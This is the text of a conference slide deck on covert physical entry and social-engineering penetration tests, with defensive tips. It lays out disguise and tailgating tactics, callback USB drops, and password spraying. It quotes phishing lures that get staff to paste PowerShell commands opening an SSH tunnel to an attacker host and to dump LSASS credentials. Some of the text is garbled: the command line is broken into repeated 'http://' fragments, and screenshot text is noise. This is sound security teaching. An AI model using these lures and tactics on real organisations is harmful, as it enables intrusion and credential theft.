

Ghosts in the Lobby: Covert Entry Stories

(and the Lessons that they Teach us)

By Cori Macy, Pentest Manager@ LBMC



Out of The Box, Bangkok 20 - 21 August, 2025



Manager, Pentest Team @ LBMC President, BSides Nashville Organizer, DC615/DEF CON Nashville











Anyone can be targeted: executives, contractors, cleaning staff, visitors.

- Every organization has different primary risks:
- Disgruntled former employees.
- Competitive intelligence/espionage.
- Activists or cause-driven actors.
- In physical breaches, humans are the strongest and weakest link.



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Physical red teaming is about creativity, psychology, and technical escalation





Physical red teaming is about creativity, psychology, and technical escalation



w/REPTILEAH • 5 mo. ago
been asked about this, so I'll share how I snuck into pit at Olivia Rodrigo
Story



Physical red teaming is about creativity, psychology, and technical escalation

(Si

A 29 year old woman pretended to be a nurse for 7 months. She treated over 4,000 patients and only got caught after she was offered a promotion.

/r/all, /r/popular

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Why do we do this?

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- Red team engagements exist to strengthen blue teams.
- Every finding is a training opportunity, not just a report.
- Goal: Expose risk in a safe, controlled way → allowing defenders to succeed when it's real.

Minimal Viable Disruption

- Core red team principles:
- Prove the point, don't break the system.
- Mirror attacker tactics without operational impact.
- This protects:
- Client trust.
- Business continuity.
- The red team's credibility.



Easy Fixes






Easy Fixes






Easy Fixes







- Wigle.net: find wireless networks without being on site.
- LinkedIn: employee names, tenure, locations, org structure.
- Google Street View: building entrances, smokers' benches, cameras, latch guards.
- Social Media: badge styles, uniforms, event schedules.




You can plan 80% of a physical compromise from your desk.





Google corporate hq Ann Arbor People also ask City in Michigan I Where neadquartered? Ann Arbor is a city west of Detroit, in the Midwestern state of Michigan. It's home Who is the CEO o to the sprawling University of Michigan, known for its research programs. The What company own: University of Michigan Museum of Art displays works from around How do I contain corporate customer service? Feedback Founded: 1824 Area code: 734 Demonym: Ann Arborite .com - contact-us : Elevation: 840 ft (256 m) Contact Us - biz com Incorporated: 1833 (village); 1851 (city) Ann Arbor, MI 48105 +1 **Norld Resource Center** Map Directions Named after: The wives of the city's founders (both named Ann) and the bur oak in the area globaldata.com https://www.globaldata.com > All Companies ZIP code(s): 48103-48109, 48113 Pizza Inc Locations - Headquarters & Offices Ann Arbor > s Pizza Inc's company headquarters address along with its other key Feedback offices and locations. s dedicated to making, baking, and delivering mouthwatering pizza to households across the US and world.



















You can plan 80% of a physical compromise from your desk.



DINING SERVICES SERVICES FITNESS CENTER (continued) ATM Machine Lobby H, Level 1 Pizzaz! Hair Designs Lobby J. Level 1 Lobby H, Level 1 U.S. Post Office Open Monday to Friday: For an appointment, call Substation 6am-6 pm Lobby C, Level 1 Walk-in appointments are Open Monday to Friday: sometimes available. 8:30am-5pm Limited postal services. Dry Cleaning -Martinizing Lockers Lobby C, Level 1 Website FedEx and UPS Drop Box Station Lobby C, Level 1

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
Company Coordinator Signature:_





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You can plan 80% of a physical compromise from your desk.




Google applied innovation Images News Videos Shopping Maps Short videos More filters > Applied Innovation https://www.appliedinnovation.com See results about Applied Innovation: Managed IT, Copiers & Business ... Applied Imaging Applied Innovation offers Managed IT, copy and print services, and automated Corporation workflow solutions to businesses in Michigan, Indiana, Ohio, and Tampa, ... Contact Us Contact an Applied Innovation Managed IT, Imaging, or .. **Current Customer Help** Applied Innovation customers can use the A-Link Customer Portal .. Careers Applied Innovation is always looking for top-notch talent. If ... About Us From imaging to technology to automation, you can count on ... Grand Rapids, Michigan ... Applied Innovation proudly serves Grand Rapids, Michigan with ... More results from appliedinnovation.com »

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









































































Physical Security (and Red Teaming) has Changed

You can plan 80% of a physical compromise from your desk.






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Physical Security (and Red Teaming) has Changed

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Now we have/know:

- What security is on site, when they work, where their office is
- The vendors they use for trash pickup, third party managed IT, and more
- What HID systems they use
- Process for replacing a badge
- What doors are frequently held open (unattended brick)
- Reproduction badge





Next: Physical Pentest Scenarios

- Two real engagements
- Lessons for defenders



- Fake pregnancy belly concealed equipment
- Flipper Zero hidden in a coffee cup
- Replica badge printed from online photos
- Entry attempt targeting C-Suite







- Parked and waited for employees
- Tailgated through main entrance
- Employees held door open






- Found unoccupied "hotel desk" area
- Connected device directly to network
- No 802.1X authentication in place



- Goal: Access to C-Suite and server room
- Used loitering behavior to blend in
- Looked for:
- Unlocked offices
- Sensitive data in plain sight
- Badge opportunities

- Door to executive suite left propped open
- Sticky note on CFO's monitor with AD password
- Lack of 802.1X → direct network access
- High-privilege creds = access to financial systems





Key Takeaways

- Human bias is still the weakest link
- Lack of 802.1X gave instant network access
- Badge cloning tools are portable and discreet
- Simple disguises bypass assumptions



- 5th floor of co-op building
- Elevator access unrestricted; suite door required HID badge.
- Observed foot traffic near:
- Elevator area
- Public restroom
- Main entrance directly across from glass-walled conference room (high visibility)
- Spent hours loitering to gauge badge cloning opportunities.





- Observed building management & janitorial staff uniforms:
- Black t-shirt with white logo (front and back).
- Downloaded logo from building management's website.
- Created my own!
- \$7 plain black t-shirt
- \$5 plain white hat













Day Two

• Came back in a replica building management uniform

Carried:

- Cleaning Caddy filled with:
- Rags
- Spray
- Badge cloner
- Malicious USBs









- Cleaned the glass suite doors during heavy traffic (lunch)
- Stepped aside while someone badged in, then followed and cleaned the interior of the doors
- Once inside, shifted focus to cleaning glass doors of executive offices.
- Cleaning gave a natural excuse to stand at each door, look inside, and go in.
- Accessed multiple executive spaces without challenge including offices of C-level leadership.

Looked for:

- Employee badges to clone
- Sensitive data left in plain sight
- Unlocked or unattended workstations
- Places to plug in

- While cleaning the exterior of the CTO's office, I noticed his workstation was unlocked
- Paused to evaluate whether I could step in and access it without drawing attention.
- Just as I took a step through the doorway, the CTO approached...
- Instead of questioning, he smiled and thanked me, saying he'd never seen anyone clean the glass before.



In total, I placed 10 USB drives throughout the office.

Each contained a custom executable:

- Connected back to a server we owned.
- Collected hostname, domain, and IP address (mostly for metrics).

But we were able to gain further remote access via oauth device code granting on an unattended workstation.

- Flow built for devices without browsers (TVs, IoT, consoles)
- User enters a short code on another device to approve access
- Token granted to the requesting device with that user's privileges
- Attackers abuse unattended sessions or trick users into approving
- Results: long-lived tokens, MFA bypass, persistent access



Blue Team Countermeasures

Defensive Tips

- Enforce escort policies
- Lock down USB ports
- Monitor vendor movements
- Audit badge logs
- Use NAC with MAC filtering
- Train staff to challenge assumptions



Social Engineering isn't Always Physical

The same pattern, establishing credibility -> access -> persistence is still effective via email

One quick story...



Recon

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- External pentest, no access whatsoever, begins from internet
- Began by conducting OSINT with company's domain name
- Discovered forum post from 2008
- Former employee posted question and included debug messages
- Debug message included the company's internal network name and username
- Revealed that usernames are numerical IDs and likely sequential

replied on Wednesday, March 19, 2008

I was able to setup the App Pool to run under a local user account on that serv

Process information: Process ID: 6368

Process name: w3wp.exe

Account name: PANDORA\AppDev

Exception information:

Exception type: DataPortalException

Exception message: DataPortal.Fetch failed (Login failed for user 'NT AU

Request information:

Request URL: http://scorecard/Admin/KpiManagement.aspx

Request path: /Admin/KpiManagement.aspx

User host address: 10.10.2.100

User:


Is authenticated: True

Authentication Type: Negotiate


Thread account name: PANDORA\AppDev

Recon

- Identified an Outlook Web App (OWA) login portal by brute forcing subdomains
- mail.<company>.com
- Client had migrated to Office 365 for emails
- While users no longer had email inboxes via OWA, authentication was still permitted via OWA
- Unlike Office 365, OWA allows users to log in with internal username
- Ultimately able to password spray using sequential internal user IDs, compromised several accounts



- Attempted to log into many accounts using a single password
- This helps identifies accounts using easily guessed passwords
- E.g., Summer2025, Summer2025!, Password2025, P@ssw0rd
- Building a list of valid email addresses with OWA
- Original OSINT revealed internal network usernames were sequential numerical IDs
- Can (++) user ID for login instead of harvesting email addresses
- CLIENT\101, CLIENT\102, CLIENT\103, etc.
- Exposed OWA portal gave us a way to log in using internal user IDs







- Password spray attack compromised multiple accounts using easily-guessed passwords
- Many of the identified account passwords were expired
- Which implied that the accounts had not been used for some time
- LBMC was able to change the expired passwords for these accounts
- Password changes synced from internal network to other external services, e.g.,
 Office365, Knowbe4



- Multi-Factor Authentication was enforced by client
- However, compromised accounts did not have MFA set up as users had not logged in to the expired accounts for a long time (prior to enforcement)
- As such, LBMC was able to perform initial MFA setup for compromised account
- Lack of enabled MFA allowed LBMC to access email and KnowBe4
- KnowBe4 security awareness training platform that helps organizations conduct simulated phishing attacks



- Successfully logged into KnowBe4 using a compromised account
- KnowBe4 was misconfigured, allowing all users access to the "administrator" view, allowing any user to view the phishing results for all employees
- KnowBe4 logged information such as:
- How often specific users engage with phishing emails
- If a user is repeatedly phished
- If a user has recently taken phishing training
- User's department
- Ultimately, the misconfigured portal identified which users to target (or not target) for phishing emails



Lateral Movement

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- Email access allowed for an 'internal' phishing attack
- Since it came from a valid internal account, phishing emails appeared legitimate
- Not subject to extra detective/preventative measures
- e.g., no "External Email" banner
- Compromised account was that of a third-party contractor
- Changed signature from "Contractor" to "Senior Manager, Internal Systems Security"
- Gave the email more authority
- Users implicitly trust internal emails and are unlikely to verify job title
- Users selected via KnowBe4 intelligence
- Who clicks links, doesn't take phishing training, etc.
- Then, two separate campaigns were performed...

Senior Manager, Internal Systems Security


- Claimed suspicious data was detected, but that IT was unable to remotely access laptops for diagnosis
- Provided users with a friendly walkthrough to run commands to re-enable remote access
- In reality, the commands created an SSH tunnel to an AWS instance we controlled
- SSH tunnels create a connection between AWS server to the phished user's laptop, and therefore the client's internal network
- Functioned as pseudo-VPN to grant us access to the client's internal network



Good morning

I'm sorry for all the emails, but our training program returned some strange data. We suspect your laptop might have been infected with malware. Unfortunately we're having issues accessing it remotely and would like your help one last time. Could you do us a favor and run the following commands? We'll walk you through step by step:

First, please open up PowerShell. You can find it by clicking in the lower left corner of your computer and typing in "PowerShell". You should get a result that looks like this:





```
Finally, you should get a window that looks like this:

Administrator: Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>
```

Once you're here, please copy and paste the following four commands:

```
curl <a href="http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://">http://
```

You can paste into PowerShell using "Ctrl + V" or by simply right clicking. Please reply back when you're finished.

Sorry again for all the emails the past few days. I really appreciate your time!

Campaign Two

- Users were high seniority employees identified as vulnerable to phishing
- The emails claimed malware was identified on laptop, requested users upload antivirus logs
- Asked users to create memory dump of antivirus process Local Security Authority Subsystem Service, aka LSASS, and upload memory dumps onto internal network share
- As mentioned, LSASS is a Windows process responsible for authentication to devices
- LSASS memory dumps contain user credentials
- Now we were able to access internal network share using SSH tunnels from first phishing campaign, paired with the high-value credentials obtained with the second campaign
- Everything beyond this is pivoting, escalation, etc.



When Task Manager pops up, please find "Local Security Authority Process", 🙀 🕍 🕒 👢 🚾 🕍 🕍 Windows processes [18]: [17] Client Barrar Routine Property Chart Senerthantine Process Till Deshing Window Manager > E Local Security Authority Process... Name and Address of the Owner, where N. Person Real Property 3- El Sentia Heat-BICTH sential 1 Service Heat Bluesott Audio G. Control Service San 3 El Dentite Florit Bluetovik Support... In Seption Heat (1984) Fund System. 1- In Several-fact Connected Period. September 1988 CO Person Military You should get a popup that tells you the file is finished. Finally, you just need to open up your File Browser, and go to %TEMP%. You'll see a file there named Isass.DMP: Pin to Quick Copy Paste Paste shortcut Clipboard Organize %TEMP% Microsof ^ Microsof Isass.DMP Please rename the Isass.DMP file with your user ID Thanks for all your patience!



Blue Team Countermeasures

- Too many failures to count....
- Block egress SSH
- Don't let users have local admin
- Take down archaic endpoints like OWA
- Don't let humans be your firewall....



Blue Team Countermeasures

- Would you let me in?
- Audit physical security like you audit code
- It's irresponsible to allow humans to defend your organization
- Technical controls have to
- What would you do if someone walked in looking like they belonged?





Thank You

Questions?

https://www.linkedin.com/in/corgi/

Email me: cori.macy@lbmc.com